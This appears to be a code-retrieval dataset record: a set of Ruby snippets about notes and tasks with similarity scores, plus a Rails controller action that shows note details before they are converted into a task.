"def get_note(opts={})\n type = opts.fetch(:type, 'md')\n contents = opts[:contents]\n contents = opts[:content] if opts.has_key?(:content) and not contents\n begin\n filename = File.join(tmp_directory, \"#{self.object_id}.#{type}\")\n i = 0\n while File.exist?(filename)\n filename = File.join(tmp_directory, \"#{self.object_id}#{i}.#{type}\")\n i += 1\n end\n raise \"ENV['EDITOR'] not set\" unless ENV['EDITOR']\n File.open(filename, \"w\") {|f| f.print contents}\n `#{ENV['EDITOR']} #{filename}`\n contents = File.read(filename)\n ensure\n puts \"Cleaning up temp file and exiting ...\"\n FileUtils.rm_f(filename)\n end\n end",
"def task(str, create_if_nil = false)\n t = tasks.find(:all).reject{|t| t.title.gsub(/\\s/,\"_\").underscore != str.to_s.gsub(/\\s/,\"_\").underscore}.first\n t = tasks.create(:title => str.to_s.humanize) if t.nil?\n t\n end",
"def notes_attributes=(notes)\n notes.each do |note|\n song_note = self.notes.build(content: note)\n song_note.save\n end\n end",
"def todos\n output = `bin/rails notes`\n return if output&.empty?\n\n heading('TODO\\'s', output)\n end",
"def addTask(sourceDescription, sourceURL, context, taskText)\n\t\n\t\tapplication=Appscript.app(self.getApplicationName())\n\t\n\t\t#Applescript dictionary defines this list as \"default list\", rbappscript uses an underscore to replace spaces in situations like this.\n\t\tapplication.default_list.make(:new => :reminder, :with_properties => {\n\t\t\t:name => \"#{sourceDescription} #{sourceURL} #{context}\",\n\t\t\t:body => \"#{taskText}\",\n\t\t})\n\tend",
"def notes_with_tags\n fin = []\n \n notes.each do |note|\n\n # tag = {}\n \n # if note.tag_id\n # tag['id'] = note.tag.id\n # tag['note_ids'] = note.id\n # fin << tag\n # end\n\n end \n\n return fin\n end",
"def note_contents\n self.notes.collect {|note| note.content}\n end",
"def show\n @notes = @task.task_notes\n @tasks = @task.sub_tasks\n end",
"def format_todotxt(project_id, priority_group, story)\n task_priority =\n case priority_group\n when :today then \"(A)\"\n when :next then \"(B)\"\n when :someday then \"(C)\"\n end\n done = task_priority.nil?\n # TODO: escape newlines...\n title = story.css('name').text\n url = story.css('url').text\n story_id = story.css('id').text\n story_type = story.css('story_type').text\n labels = story.css('labels').text.split(',')\n\n d = Date.parse(story.css('updated_at').text)\n updated_at = d.strftime(\"%Y-%m-%d\")\n\n pname = project_name(project_id)\n\n append = lookup_server_from_project(project_id)[:append]\n\n task = \"\"\n task << \"x #{updated_at} \" if done\n task << \"#{task_priority} \" unless task_priority.blank?\n task << title\n task << \" @#{story_type}\" unless story_type.blank?\n task << labels.map{|l| \" @#{l}\"}.join\n task << \" +#{pname}\" unless pname.blank?\n task << \" url:#{url}\" unless url.blank?\n task << \" @frompivotal\"\n task << \" #{append}\" unless append.blank?\n task\nend",
"def merge_description_notes\n src_notes = @src.all_notes\n dest_notes = @dest.all_notes\n src_notes.each_key do |f|\n if dest_notes[f].blank?\n dest_notes[f] = src_notes[f]\n elsif src_notes[f].present?\n dest_notes[f] += \"\\n\\n--------------------------------------\\n\\n\"\n dest_notes[f] += src_notes[f].to_s\n end\n end\n @dest.all_notes = dest_notes\n end",
"def review_task \n\t\t@data[:task_approver] = @task.approver.try(:full_name)\n\t\t@data[:task_name] = @task.title\n @data[:task_type] = @task.class.to_s.downcase\n\t\t@data[:task_owner] = @task.assigned_to.try(:full_name)\n\t\t@data[:recipient_names] = recipient_names\n @template_slug = APOSTLE_MAIL_TEMPLATE_SLUG[:review_task]\n\t\ttrigger_mail\n\tend",
"def inferred_notes\n if scrubbed_notes?\n Rails.logger.debug \"not replacing scrubbed notes\"\n head_notes\n notes\n elsif head_notes.present?\n head_notes\n elsif notes.present? && ff?\n Rails.logger.debug \"not deleting old ff notes\"\n head_notes\n notes\n else\n head_notes\n end\n end",
"def notes_generated(notes)\n puts green(\"Release notes generated: #{notes}\")\n end",
"def notes; end",
"def notes; end",
"def notes; end",
"def to_task(name, priority = 1)\r\n {\"name\" => name, \"priority\" => priority}\r\nend",
"def doc_task=(_arg0); end",
"def notes_export_formatted\n Observation.export_formatted(notes)\n end",
"def format_tasks(tasks)\n result = {}\n tasks.each do |t|\n # logger.info t.inspect\n obj = {}\n [:id, :title, :description, :duration, :start, :priority, :day].each do |i|\n obj[i] = t[i]\n end\n result[t.id] = obj\n end\n result\n end",
"def createNote(noteText)\n refreshToken\n path = \"/api/note?auth=#{@token}\\&email=#{@email}&modify=#{ERB::Util.url_encode(Time.now.strftime(\"%Y-%m-%d %H:%M:%S\"))}\"\n data = noteText\n payload = Base64.encode64(data)\n response, data = agent.post(path,payload)\n unless response.code.to_i == 200\n raise \"Failed to create new note\"\n end\n response.body\n end",
"def note_contents\n self.notes.collect {|note| note.content }\n end",
"def task_in_todo (nb)\n t = get_todo (nb)\n if t\n task_in t.chomp\n else\n puts \"No task specified\"\n end\n end",
"def note_contents\n self.notes.collect do |note|\n note.content\n end\n end",
"def save_task\n @message = Message.related(current_user.id).find(params[:message_id])\n\n @task = Task.new\n @task.full_text = @message.full_text\n @task.user_id = current_user.id\n @task.agent_id = current_user.id\n\n render '/tasks/new'\n end",
"def to_up_notes(raw_notes)\n raw_notes.present? ? { Other: raw_notes } : {}\n end",
"def archive!\n FileUtils.mkdir_p(File.dirname(jobdetails_filename))\n FileUtils.mkdir_p(File.dirname(jobconf_filename))\n store_note\n ArchivableJob.fetch_url(jobdetails_url, jobdetails_filename)\n ArchivableJob.fetch_url(jobconf_url, jobconf_filename)\n details = parse()\n tasks = JobTasks.new(slug, [details.map_tasks.to_i].min, [details.reduce_tasks.to_i].min)\n tasks.fetch_task_counters\n end",
"def save_instructions\n file = 'TODO'\n text = \"### TO-DO for #{name.upcase} feature:\\n\\n#{instructions}\\n\\n\\n\"\n\n in_root do\n create_file file unless File.exists? file\n append_to_file file, text\n end\n end",
"def prepare_task\n end",
"def jsonToTask(jsonObject)\r\n\t\t\t\ttask = Task.new\r\n\t\t\t\t\r\n\t\t\t\tif jsonObject.has_key?(\"id\")\r\n\t\t\t\t\ttask.setId(jsonObject[\"id\"])\r\n\t\t\t\tend\r\n\t\t\t\tif jsonObject.has_key?(\"id_string\")\r\n\t\t\t\t\ttask.setIdString(jsonObject[\"id_string\"])\r\n\t\t\t\tend\r\n\t\t\t\tif jsonObject.has_key?(\"name\")\r\n\t\t\t\t\ttask.setName(jsonObject[\"name\"])\r\n\t\t\t\tend\r\n\t\t\t\tif jsonObject.has_key?(\"completed\")\r\n\t\t\t\t\ttask.setCompleted(jsonObject[\"completed\"])\r\n\t\t\t\tend\r\n\t\t\t\tif jsonObject.has_key?(\"created_by\")\r\n\t\t\t\t\ttask.setCreatedBy(jsonObject[\"created_by\"])\r\n\t\t\t\tend\r\n\t\t\t\tif jsonObject.has_key?(\"created_person\")\r\n\t\t\t\t\ttask.setCreatedPerson(jsonObject[\"created_person\"])\r\n\t\t\t\tend\r\n\t\t\t\tif jsonObject.has_key?(\"priority\")\r\n\t\t\t\t\ttask.setPriority(jsonObject[\"priority\"])\r\n\t\t\t\tend\r\n\t\t\t\tif jsonObject.has_key?(\"percent_complete\")\r\n\t\t\t\t\ttask.setPercentComplete(jsonObject[\"percent_complete\"])\r\n\t\t\t\tend\r\n\t\t\t\tif jsonObject.has_key?(\"start_date\")\r\n\t\t\t\t\ttask.setStartDate(jsonObject[\"start_date\"])\r\n\t\t\t\tend\r\n\t\t\t\tif jsonObject.has_key?(\"start_date_format\")\r\n\t\t\t\t\ttask.setStartDateFormat(jsonObject[\"start_date_format\"])\r\n\t\t\t\tend\r\n\t\t\t\tif jsonObject.has_key?(\"start_date_long\")\r\n\t\t\t\t\ttask.setStartDateLong(jsonObject[\"start_date_long\"])\r\n\t\t\t\tend\r\n\t\t\t\tif jsonObject.has_key?(\"end_date\")\r\n\t\t\t\t\ttask.setEndDate(jsonObject[\"end_date\"])\r\n\t\t\t\tend\r\n\t\t\t\tif jsonObject.has_key?(\"end_date_format\")\r\n\t\t\t\t\ttask.setEndDateFormat(jsonObject[\"end_date_format\"])\r\n\t\t\t\tend\r\n\t\t\t\tif jsonObject.has_key?(\"end_date_long\")\r\n\t\t\t\t\ttask.setEndDateLong(jsonObject[\"end_date_long\"])\r\n\t\t\t\tend\r\n\t\t\t\tif jsonObject.has_key?(\"duration\")\r\n\t\t\t\t\ttask.setDuration(jsonObject[\"duration\"])\r\n\t\t\t\tend\r\n\t\t\t\t\r\n\t\t\t\tif jsonObject.has_key?(\"details\")\r\n\t\t\t\t\tdetails = jsonObject[\"details\"]\r\n\t\t\t\t\t\r\n\t\t\t\t\tif details.has_key?(\"owners\")\r\n\t\t\t\t\t\towners = details[\"owners\"]\r\n\t\t\t\t\t\townerList = Array.new\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\tfor i in 0...owners.length\r\n\t\t\t\t\t\t\towner = owners[i]\r\n\t\t\t\t\t\t\townerList.push(jsonToOwner(owner))\r\n\t\t\t\t\t\tend\r\n\r\n\t\t\t\t\t\ttask.setOwners(ownerList)\r\n\t\t\t\t\tend\r\n\t\t\t\t\t\r\n\t\t\t\t\tif details.has_key?(\"comments\")\r\n\t\t\t\t\t\tcomments = details[\"comments\"]\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\tcommentList = Array.new\r\n\r\n\t\t\t\t\t\tfor j in 0...comments.length\r\n\t\t\t\t\t\t\tcomment = comments[j]\r\n\t\t\t\t\t\t\tcommentList.push(jsonToComment(comment))\r\n\t\t\t\t\t\tend\r\n\r\n\t\t\t\t\t\ttask.setComments(commentList)\r\n\t\t\t\t\tend\r\n\t\t\t\t\t\r\n\t\t\t\t\tif details.has_key?(\"documents\")\r\n\t\t\t\t\t\tdocuments = details[\"documents\"]\r\n\t\t\t\t\t\tdocumentIds = Array.new\r\n\r\n\t\t\t\t\t\tfor l in 0...documents.length\r\n\t\t\t\t\t\t\tdocumentIds[l] = String(documents[l][\"id\"])\r\n\t\t\t\t\t\tend\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\ttask.setAssociateDocumentIds(documentIds)\r\n\t\t\t\t\tend\r\n\t\t\t\t\t\r\n\t\t\t\t\tif details.has_key?(\"forums\")\r\n\t\t\t\t\t\tforums = details[\"forums\"]\r\n\t\t\t\t\t\tforumIds = Array.new\r\n\r\n\t\t\t\t\t\tfor m in 0...forums.length\r\n\t\t\t\t\t\t\tforumIds[m] = String(forums[m][\"id\"])\r\n\t\t\t\t\t\tend\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\ttask.setAssociateForumIds(forumIds)\r\n\t\t\t\t\tend\r\n\t\t\t\tend\r\n\t\t\t\t\r\n\t\t\t\tif jsonObject.has_key?(\"link\")\r\n\t\t\t\t\tlink = jsonObject[\"link\"]\r\n\t\t\t\t\t\t\r\n\t\t\t\t\tif link.has_key?(\"self\")\r\n\t\t\t\t\t\ttask.setURL(link[\"self\"][\"url\"])\r\n\t\t\t\t\tend\r\n\t\t\t\t\t\r\n\t\t\t\t\tif link.has_key?(\"subtask\")\r\n\t\t\t\t\t\ttask.setSubtaskUrl(link[\"subtask\"][\"url\"])\r\n\t\t\t\t\tend\r\n\t\t\t\t\t\r\n\t\t\t\t\tif link.has_key?(\"timesheet\")\r\n\t\t\t\t\t\ttask.setTimesheetURL(link[\"timesheet\"][\"url\"])\r\n\t\t\t\t\tend\r\n\t\t\t\tend\r\n\t\t\t\t\r\n\t\t\t\tif jsonObject.has_key?(\"subtasks\")\r\n\t\t\t\t\t\r\n\t\t\t\t\t#subtasks = jsonObject[\"subtasks\"]\r\n\t\t\t\t\t\r\n\t\t\t\t\t#tasks = Array.new\r\n\r\n\t\t\t\t\t#for k in 0...subtasks.length\r\n\t\t\t\t\t#\ttaskObj = subtasks[k]\r\n\t\t\t\t\t#\ttasks.push(jsonToTask(taskObj))\r\n\t\t\t\t\t#end\r\n\t\t\t\t\t\r\n\t\t\t\t\ttask.setSubtasks(jsonObject[\"subtasks\"])\r\n\t\t\t\tend\r\n\t\t\t\t\r\n\t\t\t\tif jsonObject.has_key?(\"tasklist\")\r\n\t\t\t\t\ttasklist = jsonObject[\"tasklist\"]\r\n\t\t\t\t\t\r\n\t\t\t\t\ttask.setTasklist(jsonToTasklist(tasklist))\r\n\t\t\t\tend\r\n\t\t\t\t\r\n\t\t\t\treturn task\r\n\t\t\tend",
"def convert_to_rake()\n object_multitask = prepare_tasks_for_objects()\n\n res = typed_file_task get_rake_task_type(), get_task_name => object_multitask do\n cmd = calc_command_line\n Dir.chdir(@project_dir) do\n mapfileStr = @mapfile ? \" >#{@mapfile}\" : \"\"\n rd, wr = IO.pipe\n cmdLinePrint = cmd\n printCmd(cmdLinePrint, \"Linking #{executable_name}\", false) #OK\n cmd << {\n :out=> @mapfile ? \"#{@mapfile}\" : wr, # > xy.map\n :err=>wr\n }\n sp = spawn(*cmd)\n cmd.pop\n # for console print\n cmd << \" >#{@mapfile}\" if @mapfile\n consoleOutput = ProcessHelper.readOutput(sp, rd, wr)\n\n process_result(cmdLinePrint, consoleOutput, @tcs[:LINKER][:ERROR_PARSER], nil)\n check_config_file()\n post_link_hook(@tcs[:LINKER])\n end\n end\n res.tags = tags\n res.immediate_output = true\n res.enhance(@config_files)\n res.enhance([@project_dir + \"/\" + @linker_script]) if @linker_script\n\n add_output_dir_dependency(get_task_name, res, true)\n add_grouping_tasks(get_task_name)\n setup_rake_dependencies(res, object_multitask)\n\n # check that all source libs are checked even if they are not a real rake dependency (can happen if \"build this project only\")\n begin\n libChecker = task get_task_name+\"LibChecker\" do\n if File.exists?(get_task_name) # otherwise the task will be executed anyway\n all_dependencies.each do |bb|\n if bb and StaticLibrary === bb\n f = bb.get_task_name # = abs path of library\n if not File.exists?(f) or File.mtime(f) > File.mtime(get_task_name)\n def res.needed?\n true\n end\n break\n end\n end\n end\n end\n end\n rescue\n def res.needed?\n true\n end\n end\n libChecker.transparent_timestamp = true\n res.enhance([libChecker])\n\n return res\n end",
"def convert_to_task(underlying)\n if underlying.is_a? Observed::Observer\n @task_factory.task {|data, options|\n options ||= {}\n m = underlying.method(:observe)\n fake_system = FakeSystem.new(time: options[:time])\n # For 0.1.0 compatibility\n underlying.configure(system: fake_system)\n underlying.configure(tag: options[:tag]) unless underlying.get_attribute_value(:tag)\n result = dispatch_method m, data, options\n fake_system.reported || result\n }\n elsif underlying.is_a? Observed::Reporter\n @task_factory.task {|data, options|\n options ||= {}\n m = underlying.method(:report)\n dispatch_method m, data, options\n }\n elsif underlying.is_a? Observed::Translator\n @task_factory.task {|data, options|\n options ||= {}\n m = underlying.method(:translate)\n dispatch_method m, data, options\n }\n else\n fail \"Unexpected type of object which can not be converted to a task: #{underlying}\"\n end\n end",
"def to_down_notes(notes)\n # notes.is_a?(Hash) ? (notes)[:Other] : \"\"\n notes.empty? ? \"\" : (notes)[:Other]\n end",
"def create_task\n task = Task.create!(\n description: 'Test Task'\n )\nend",
"def simple_rake_task(task_name = 'test_task', indent: '', task_body: \"\\n\")\n \"\\n\" + indent +\n \"desc 'task named #{task_name}'\\n\" +\n indent + \"task :#{task_name} do\\n\" +\n indent + \" \" + task_body +\n indent + \"end\\n\\n\"\n\n end",
"def create\n @task = Task.new(params[:task])\n @task.user_id = current_user.id\n\n respond_to do |format|\n if @task.save\n require \"fileutils\"\n new_folder_path = File.join(Rails.application.config.upload_dir, \"homework/src/tests\", @task.id.to_s, @task.package.tr(\".\", \"/\"))\n new_file_path = File.join(new_folder_path, @task.task_file_file_name)\n FileUtils.mkdir_p(File.dirname(new_file_path))\n FileUtils.cp @task.task_file.path, new_file_path\n\n if \".zip\" == File.extname(@task.task_file_file_name)\n Zip::File.open(new_file_path) do |zip_file|\n zip_file.each do |entry|\n entry.extract( File.join(new_folder_path, entry.to_s) )\n end\n end\n end\n\n format.html { redirect_to @task, notice: 'Task was successfully created.' }\n format.json { render json: @task, status: :created, location: @task }\n format.xml { render xml: @task, status: :created, location: @task }\n else\n format.html { render action: \"new\" }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n format.xml { render xml: @task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def task\n end",
"def note_contents=(array)\n array.each do |i|\n if !i.empty?\n note = Note.find_or_create_by(content: i)\n self.notes << note\n end\n end\n end",
"def to_task; self end",
"def remove_desc_for_task( names )\n Array(names).each do |task_name|\n task = Rake.application.tasks.find {|t| t.name == task_name}\n next if task.nil?\n task.instance_variable_set :@comment, nil\n end\n end",
"def save_task(task_type, target_user, work_object_id = 0, comments = \"\", subject = \"Other\")\n params =\n MagicParams.format(\n user_id: @allscripts_username,\n parameter1: task_type,\n parameter2: target_user,\n parameter3: work_object_id,\n parameter4: comments,\n parameter5: subject\n )\n results = magic(\"SaveTask\", magic_params: params)\n results[\"savetaskinfo\"]\n end",
"def to_machine # To_machine method to display completion status and description of Task\n \"#{represent_status} : #{description}\"\n end",
"def parse_plural_notes(enex, output_dir)\n REXML::Document.new(enex).elements['en-export'].map do |el|\n if el != \"\\n\"\n xml_document = REXML::Document.new(el.to_s).elements\n created_at = xml_document['note/created'].text.sub(%r{^(\\d{4})(\\d{2})(\\d{2})T(\\d{2})(\\d{2})(\\d{2}).*$}, '\\1-\\2-\\3T\\4:\\5:\\6')\n updated_at = xml_document['note/updated'].text.sub(%r{^(\\d{4})(\\d{2})(\\d{2})T(\\d{2})(\\d{2})(\\d{2}).*$}, '\\1-\\2-\\3T\\4:\\5:\\6')\n content = xml_document['note/content/text()'].to_s.sub(/(<\\?xml(.*?)\\?>)?(.*?)<\\!DOCTYPE(.*?)>/m, '')\n Note.new({\n title: xml_document['note/title'].text,\n content: \"<div>#{content}</div>\",\n created_at: created_at,\n updated_at: updated_at,\n output_dir: output_dir,\n })\n end\n end.compact.flatten\n end",
"def schedule_loan_tasks(order)\n comment = \"system note - Made payment on #{order.created_at}\"\n msg = \"Call #{customer.full_name} about there payment.\"\n new_date = self.due_date.next_month\n tasks.each do |t|\n t.mark_completed_and_msg(order.user_id, comment)\n end\n self.update_attribute(:due_date, new_date)\n Task.create!(:user_id => user_id, :assigned_to => user_id, :name => msg, :asset_id => self.id, :asset_type => self.class, :company_id => company_id, :category => \"call\", :due_at => new_date - 2.days)\n end"
] |
[
"0.6265846",
"0.6215131",
"0.60967374",
"0.6085407",
"0.6057565",
"0.596471",
"0.5945023",
"0.5945023",
"0.58952194",
"0.5885392",
"0.5874794",
"0.58742714",
"0.58129007",
"0.57929397",
"0.5774158",
"0.5745813",
"0.5685189",
"0.5685189",
"0.5683511",
"0.5661293",
"0.56471914",
"0.56459737",
"0.56443983",
"0.56340975",
"0.5628679",
"0.5623987",
"0.5613659",
"0.55335253",
"0.55249035",
"0.5516281",
"0.5515066",
"0.55032873",
"0.5494039",
"0.54742646",
"0.5472796",
"0.5464797",
"0.54583097",
"0.5454914",
"0.5416793",
"0.5408314",
"0.5406691",
"0.54046077",
"0.5401526",
"0.53974724",
"0.53974426",
"0.5387297",
"0.53854567",
"0.53852624",
"0.53682303",
"0.53682303",
"0.5364292",
"0.5361566",
"0.535598",
"0.53545755",
"0.53488183",
"0.5344254",
"0.5334767",
"0.53212476",
"0.5315697",
"0.5306265",
"0.53027856",
"0.5301181",
"0.53001654",
"0.5290906",
"0.52898455",
"0.5286069",
"0.52829003",
"0.52741534",
"0.5270069",
"0.526872",
"0.52603436",
"0.52603436",
"0.52603436",
"0.5259877",
"0.52584547",
"0.52506685",
"0.5243707",
"0.5242562",
"0.52422357",
"0.52378744",
"0.52212214",
"0.5213879",
"0.521285",
"0.52121294",
"0.520683",
"0.5205916",
"0.52053976",
"0.5203918",
"0.5197878",
"0.5196766",
"0.51965207",
"0.5195684",
"0.5195129",
"0.51815015",
"0.51797265",
"0.5164845",
"0.5162929",
"0.51627773",
"0.51593715",
"0.51572275",
"0.51567084"
] |
0.0
|
-1
|
Below code is used to show the details of the notes before converting it to task.
|
def show
data=params
#Below code is to find details for the notes.
@com_notes_entries = Communication.find(data[:com_id].to_i) #@com_notes_entries.receiver.service_provider_employee_mappings
@matters = Matter.team_matters(@com_notes_entries.assigned_by_employee_user_id, @com_notes_entries.company_id) #FIXME: Is the company id right?
lawyer_details(@com_notes_entries)
company_id = CompanyLookup.find_by_lvalue_and_company_id("Rejected", @com_notes_entries.company_id).id
@contacts = Contact.all(:conditions => ["company_id = ? AND status_type != ?", company_id, @com_notes_entries.company_id], :order => 'first_name')
@task = UserTask.new
@skill_list = Physical::Liviaservices::SkillType.all
if data[:related]
model, id = data[:related].split("_")
instance_variable_set("@asset", model.classify.constantize.find(id))
end
render :layout => false
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def notes\n @notes\n end",
"def notes_show_formatted\n Observation.show_formatted(notes)\n end",
"def notes; end",
"def notes; end",
"def notes; end",
"def show\n @notes = @task.task_notes\n @tasks = @task.sub_tasks\n end",
"def notes\n run(helm('get', 'notes', name))\n end",
"def notes(opts)\n return \"\"\n end",
"def notes_from_training\n end",
"def notes_generated(notes)\n puts green(\"Release notes generated: #{notes}\")\n end",
"def notes\n @data[:notes]\n end",
"def create_notes\n end",
"def show_notes\n info \"showing notes\"\n res = run(\"git notes --ref #{refname} show\")\n if res[:val] == 0\n info \"existing note: #{res[:out].strip}\"\n else\n info \"no existing note\"\n end\n end",
"def notes\n return @notes\n end",
"def notes\n return @notes\n end",
"def notes\n return @notes\n end",
"def notes\n return @notes\n end",
"def note_contents\n self.notes.each.map{|note| note.content}\n end",
"def description\n \"This task simply attaches a note entity to the current entity.\"\nend",
"def all_notes\n self.has_notes? ? self.annotations.map {|n| n.body }.join(' ') : '' \n end",
"def set_note\n @note = Note.find(params[:id])\n @description = @note.overview\n end",
"def note_contents\n self.notes.collect do |note|\n note.content\n end\n end",
"def notes=(value)\n @notes = value\n end",
"def notes=(value)\n @notes = value\n end",
"def notes=(value)\n @notes = value\n end",
"def notes=(value)\n @notes = value\n end",
"def note_contents\n self.notes.collect {|note| note.content }\n end",
"def note_content\n\t\tif self.note.present?\n\t\t\tself.note.content\n\t\telse\n\t\t\t\"-\"\n\t\tend\n\tend",
"def note_contents\n self.notes.map(&:content)\n end",
"def note_contents\n self.notes.map(&:content)\n end",
"def body\n @note.content\n end",
"def footnote_content; end",
"def notes\n @attributes[:notes]\n end",
"def notes\n @attributes[:notes]\n end",
"def notes params=nil\n @nimble.get \"contact/#{self.id}/notes\", params\n end",
"def note_contents\n self.notes.collect {|note| note.content}\n end",
"def notes_export_formatted\n Observation.export_formatted(notes)\n end",
"def notes\n\t\tNote.find(:all)\n\tend",
"def notes\n notes_range.to_a.map(&:to_s)\n end",
"def note note, preview=nil\n preview ||= note[0..64]\n params = {\n contact_ids: [ self.id ],\n note: note,\n note_preview: preview\n }\n @nimble.post \"contacts/notes\", params\n end",
"def new_notes=(note)\n\t\tif !note.blank? then\n\t\t\ttime = Time.now.strftime(\"%m-%d-%y %I:%M %p\")\n\t\t\tnew_note = \"<p>#{note}<br/>\"\n\t\t\tnew_note << \"<span class=\\\"info\\\">\"\n\t\t\tnew_note << \"[#{time}]\"\n\t\t\tnew_note << \"</span></p>\"\n\t\t\tif self.notes.blank? then\n\t\t\t\tself.notes = new_note\n\t\t\telse\n\t\t\t\tself.notes << new_note\n\t\t\tend\n\t\tend\n\tend",
"def show\n @notes = @bookmark.notes\n end",
"def notes=(notes)\n self.service.editObject({ \"notes\" => notes.to_s })\n self.refresh_details()\n end",
"def notes\n @default_options.fetch(:notes, nil)\n end",
"def notes\n data_series.find_all { |ds| ds.options[:note].present? }\n .map { |ds| { ds_name: ds.name, body: ds.options[:note] }}\n end",
"def notes\n Notes.new(self)\n end",
"def private_notes\n \n end",
"def note\n DBC.require( bu?, \"Vin non bu: La note n'est pas definie\" )\n\n @note\n end",
"def show\n @task_note = Note.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @task_note }\n end\n end",
"def get_receipt_notes\n result = ''\n result << self.additional_notes unless self.additional_notes.blank?\n result << \"\\n\\n\" if self.additional_notes && self.is_payed?\n result << I18n.t(:payed, {:scope=>[:receipt]}).upcase if self.is_payed?\n result\n end",
"def details\n\t\t\"#{self.title} - #{self.due_date} - #{self.is_completed}\"\n\tend",
"def handle_notes(notes)\n\n notes.each do |note|\n\n prefix = case note['type']\n when 'dimensions'; \"Dimensions\"\n when 'physdesc'; \"Physical Description note\"\n when 'materialspec'; \"Material Specific Details\"\n when 'physloc'; \"Location of resource\"\n when 'phystech'; \"Physical Characteristics / Technical Requirements\"\n when 'physfacet'; \"Physical Facet\"\n when 'processinfo'; \"Processing Information\"\n when 'separatedmaterial'; \"Materials Separated from the Resource\"\n else; nil\n end\n\n #20160829LJD: Add additional note types for export.\n marc_args = case note['type']\n\n when 'arrangement', 'fileplan'\n ['351','b']\n when 'odd', 'dimensions', 'physdesc', 'materialspec', 'physloc', 'phystech', 'physfacet', 'processinfo', 'separatedmaterial'\n ['500','a']\n when 'accessrestrict'\n ['506','a']\n # when 'scopecontent'\n # ['520', '2', ' ', 'a']\n when 'abstract'\n ['520', '3', ' ', 'a']\n when 'prefercite'\n ['524', '8', ' ', 'a']\n when 'acqinfo'\n ind1 = note['publish'] ? '1' : '0'\n ['541', ind1, ' ', 'a']\n when 'relatedmaterial'\n ['544','n']\n # when 'bioghist'\n # ['545','a']\n when 'custodhist'\n ind1 = note['publish'] ? '1' : '0'\n ['561', ind1, ' ', 'a']\n when 'appraisal'\n ind1 = note['publish'] ? '1' : '0'\n ['583', ind1, ' ', 'a']\n when 'accruals'\n ['584', 'a']\n when 'altformavail'\n ['535', '2', ' ', 'a']\n when 'originalsloc'\n ['535', '1', ' ', 'a']\n when 'userestrict', 'legalstatus'\n ['540', 'a']\n when 'langmaterial'\n ['546', 'a']\n # when 'otherfindaid'\n # ['555', '0', ' ', 'a']\n else\n nil\n end\n\n unless marc_args.nil?\n text = prefix ? \"#{prefix}: \" : \"\"\n text += ASpaceExport::Utils.extract_note_text(note, @include_unpublished, true)\n\n # only create a tag if there is text to show (e.g., marked published or exporting unpublished)\n if text.length > 0\n df!(*marc_args[0...-1]).with_sfs([marc_args.last, *Array(text)])\n end\n end\n\n end\n end",
"def title\n @note.title\n end",
"def local_notes options = {}\n # if user is creator or admin, add link to admin\n allow_admin = !options[:disable_admin] && current_user && !current_user.admin?\n path = \"#{controller_name}/#{action_name}\"\n\n notes = Note.where(:path=>path)\n\n if notes.empty? && options[:fixed]\n notes = [Note.create!(:path=>path, :title => options[:default_title])]\n end\n\n str = notes.map do |note|\n in_place_edit_panel(note, path)\n end.join.html_safe\n\n klasses = \"card\"\n str << content_tag(:div, link_to(\"Add New Note\", notes_path(:path=>path), :method=>:post, :remote=>true), :class=>klasses, :id=>\"add_#{path.gsub(/\\//,'_')}\") if allow_admin\n\n str\n end",
"def todos\n output = `bin/rails notes`\n return if output&.empty?\n\n heading('TODO\\'s', output)\n end",
"def note\n comment_list = []\n return @notes if !@notes.nil?\n for page in @pages\n next if !page || !page.list || page.list.size <= 0\n note_page = page.list.dup\n \n note_page.each do |item|\n next unless item && (item.code == 108 || item.code == 408)\n comment_list.push(item.parameters[0])\n end\n end\n @notes = comment_list.join(\"\\r\\n\")\n return @notes\n end",
"def show\n @note = Note.find(params[:id])\n end",
"def handle_notes(notes)\n\n notes.each do |note|\n\n prefix = case note['type']\n when 'dimensions'; \"Dimensions\"\n when 'physdesc'; \"Physical Description note\"\n when 'materialspec'; \"Material Specific Details\"\n when 'physloc'; \"Location of resource\"\n when 'phystech'; \"Physical Characteristics / Technical Requirements\"\n when 'physfacet'; \"Physical Facet\"\n #when 'processinfo'; \"Processing Information\"\n when 'separatedmaterial'; \"Materials Separated from the Resource\"\n else; nil\n end\n\n marc_args = case note['type']\n\n when 'arrangement', 'fileplan'\n ['351', 'a']\n # Remove processinfo from 500\n when 'odd', 'dimensions', 'physdesc', 'materialspec', 'physloc', 'phystech', 'physfacet', 'separatedmaterial'\n ['500','a']\n # we would prefer that information from both the note and subnote appear in subfields of a 506 element, like this:\n # <datafield ind1=\"1\" ind2=\" \" tag=\"506\">\n # <subfield code=\"a\">Restricted until 2020</subfield> <!-- from the subnote/text/content field -->\n # <subfield code=\"f\">Available</subfield> <!-- from the category list -->\n # </datafield>\n when 'accessrestrict'\n ind1 = note['publish'] ? '1' : '0'\n if note['publish'] || @include_unpublished\n if note['rights_restriction']\n result = note['rights_restriction']['local_access_restriction_type']\n if result != []\n result.each do |lart|\n df('506', ind1).with_sfs(['a', note['subnotes'][0]['content']], ['f', lart])\n end\n else\n df('506', ind1).with_sfs(['a', note['subnotes'][0]['content']])\n end\n else\n ['506', ind1 ,'', 'a']\n end\n end\n when 'scopecontent'\n ['520', '2', ' ', 'a']\n when 'abstract'\n ['520', '3', ' ', 'a']\n when 'prefercite'\n ['524', ' ', ' ', 'a']\n when 'acqinfo'\n ind1 = note['publish'] ? '1' : '0'\n ['541', ind1, ' ', 'a']\n when 'relatedmaterial'\n ['544','d']\n when 'bioghist'\n ['545','a']\n when 'custodhist'\n ind1 = note['publish'] ? '1' : '0'\n ['561', ind1, ' ', 'a']\n # Add processinfo to 583\n when 'appraisal', 'processinfo'\n ind1 = note['publish'] ? '1' : '0'\n ['583', ind1, ' ', 'a']\n when 'accruals'\n ['584', 'a']\n when 'altformavail'\n ['535', '2', ' ', 'a']\n when 'originalsloc'\n ['535', '1', ' ', 'a']\n when 'userestrict', 'legalstatus'\n ['540', 'a']\n when 'langmaterial'\n ['546', 'a']\n else\n nil\n end\n\n unless marc_args.nil?\n text = prefix ? \"#{prefix}: \" : \"\"\n text += ASpaceExport::Utils.extract_note_text(note, @include_unpublished)\n\n # only create a tag if there is text to show (e.g., marked published or exporting unpublished) and if there are not multiple local access restriction types (if there are, that's already handled above)\n unless 